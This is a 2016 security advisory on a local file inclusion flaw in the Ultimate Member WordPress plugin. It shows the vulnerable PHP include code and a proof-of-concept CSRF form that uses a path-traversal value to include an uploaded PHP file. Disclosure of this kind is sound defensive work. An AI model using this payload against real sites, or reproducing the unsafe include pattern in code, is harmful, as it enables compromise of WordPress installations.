Advisory

Burak Kelebek, July 2016

Ultimate Member Local File Inclusion vulnerability

Abstract

It was discovered that Ultimate Member is vulnerable to PHP File Inclusion. In order to exploit this issue an attacker must be able to place an arbitrary PHP file on the target system. Afterwards the attacker needs to lure an authenticated admin to visit a malicious page. Through CSRF the attacker could compromise WordPress, by executing the malicious PHP file.

Tested versions

This issue was succesfully tested on the Ultimate Member WordPress plugin version 1.3.64.

Fix

There is a fix available in Pre-released version: pre-v1.3.65.10. After the fix is applied user input is no more used when including local files in WordPress.

Introduction

The File Inclusion vulnerability allows an attacker to include a file, exploiting a "dynamic file inclusion" mechanisms implemented in the Ultimate Member plugin of WordPress.

Details

The vulnerability occurs due to the use of user-supplied input in the 'page' parameter without proper validation.
The code first checks if 'ultimatemember-' exists in page parameter supplied by user. If it exists it deletes 'ultimatemember-' and assigns user input to the template parameter. Lastly it inserts user input in the PHP function include_once.

ultimate-member/admin/core/um-admin-dashboard.php:

$page = $_REQUEST['page'];
[..]
      else if ( strstr( $page, 'ultimatemember-' ) ) {
   
         $template = str_replace('ultimatemember-','',$page);
         $file = um_path . 'admin/templates/welcome/'. $template . '.php';
   
         if ( file_exists( $file ) ){
            include_once um_path . 'admin/templates/welcome/'. $template . '.php';
         }
   
      }
   

Proof of concept

Proof of Concept below simply opens a file in the temp folder of WordPress.

<html>
   <body>
      <form action="http://<target>/wp-admin/admin.php?page=ultimatemember" method="POST">
         <input type="hidden" name="page" value="ultimatemember-../../../../../uploads/ultimatemember/temp/dZm2Sr1IbnIy4Ikn3FbWdMlOh2wCzDu3KunD4tIk/stream_photo_697d3db4eba7e7254670210e3c095022_5779a47985512" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>

Work with us →